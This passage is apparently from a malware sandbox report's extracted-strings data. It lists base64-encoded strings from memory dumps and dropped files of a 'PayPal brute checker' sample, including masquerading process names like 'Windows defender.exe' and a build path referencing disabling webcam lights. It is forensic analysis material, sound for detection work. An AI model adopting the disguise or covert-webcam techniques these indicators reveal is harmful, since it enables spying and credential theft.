brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QERDUy5MaWNlbnNpbmcuU3RyYXRlZ3lHbG9iYWwrTGlzdE1hcEZpbHRlcmAyKzxHZXRFbnVtZXJhdG9yPmRfXzI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QFN5c3RlbS5SZWd1bGFyRXhwcmVzc2lvbnM=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFxbXFxucnRdfCUlfCVbLSsgMCNdPyhbMC05XSp8XCopPyhcLlswLTldKnxcLlwqKT9baGxMXT9bZGlvdXhYZUVmZ0dzXQ==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XE4gaXMgbm90IHN1cHBvcnRlZCBpbiBhIGNsYXNz","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFBvd2VyU2hlbGxcJTEhbHMh","type":"Unicode","source":"Memory/File Scan","process":"powershell.exe","filename":"00100099-00003764.00000000.100261.3FDA1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XFJQQyBDb250cm9sXENvbnNvbGVMUEMtMHgwMDAwMDAwMDAwMDAwREU4LS05MzYwMDA3ODc3ODAyNDk1MDItMjE0NzA5NTczMTE4MjE4MTI1MDUtMjkyMjQwOTM1LTE5MTU5MzI3NDMxMDE2MzY3MjEzLTE4NDUyNTI5Ng==","type":"Unicode","source":"Runtime Data","process":"timeout.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFNlc3Npb25zXDFcV2luZG93c1xBcGlQb3J0","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XHNvdXJjZVxyZXBvc1xkY3BsZ19EaXNhYmxlV2ViQ2FtTGlnaHRzXGRjcGxnX0Rpc2FibGVXZWJDYW1MaWdodHNcb2JqXERlYnVnXGRjcGxnX0Rpc2FibGVXZWJDYW1MaWdodHMucGRi","type":"Ansi","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A12000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XHQnKXZPOWl7Lg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XFRoZW1lQXBpUG9ydA==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XFVzZXJzXEhBUFVCV1NcQXBwRGF0YVxMb2NhbFxUZW1wXG5zdUE2RjAudG1w","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XSBpcyBhbiBpbnZhbGlkIGRhdGEgY2hhcmFjdGVyIGluIEphdmFTY3JpcHQgY29tcGF0aWJpbGl0eSBtb2Rl","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XSl7YUZEWUct","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"XcOvwr/CvTHDr8K/wr1dw6/Cv8K9MsOvwr/CvV7Dr8K/wr0yw6/Cv8K9UcOvwr/CvSvDr8K/wr1Xw6/Cv8K9McOvwr/CvVbDr8K/wr0vw6/Cv8K9VsOvwr/CvS/Dr8K/wr1Tw6/Cv8K9LcOvwr/CvVTDr8K/wr0tw6/Cv8K9XsOvwr/CvTPDr8K/wr1ew6/Cv8K9MsOvwr/CvV3Dr8K/wr0yw6/Cv8K9XcOvwr/CvTLDr8K/wr1dw6/Cv8K9M8Ovwr/CvVzDr8K/wr0yw6/Cv8K9XMOvwr/CvTLDr8K/wr1bw6/Cv8K9","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"XiQuWygpfD8rKlx7","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00778000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"XltBLVpcZF9dKyQ=","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19DeHhGcmFtZUhhbmRsZXI=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$7c","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X19wX19jb21tb2Rl","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X193Z2V0bWFpbmFyZ3M=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudFNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbGxlY3Rpb25TZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBhcmF0b3JTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbXBvc2VyVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbmZpZ1NlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25DbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25GaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25NYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25NZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25SZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25SZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25TZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Nvbm5lY3Rpb25UaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvbnN1bWVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvckV4ZU1haW4=","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NyZWF0b3JTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlY29yYXRvclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0RlZmluaXRpb25FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Rlc2NyaXB0b3JUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Vycm9yVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvbkVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4Y2VwdGlvblNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0V4cG9ydGVyU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZhY3RvcnlTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ZpZWxkU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlckZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlck1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dldHRlclRva2Vu","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbEVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0dsb2JhbFNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0hlbHBlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVySXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ltcG9ydGVyV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZGV4ZXJXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9Db25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9GYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9GaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9JdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9Qb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luZm9TdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luaXRpYWxpemVyU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0luc3RhbmNlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0ludGVycHJldGVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0lzc3VlclNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZW1TcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0l0ZXJhdG9yRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0xpc3RlbmVyTWFwcGluZw==","type":"Ansi","source":"Dropped 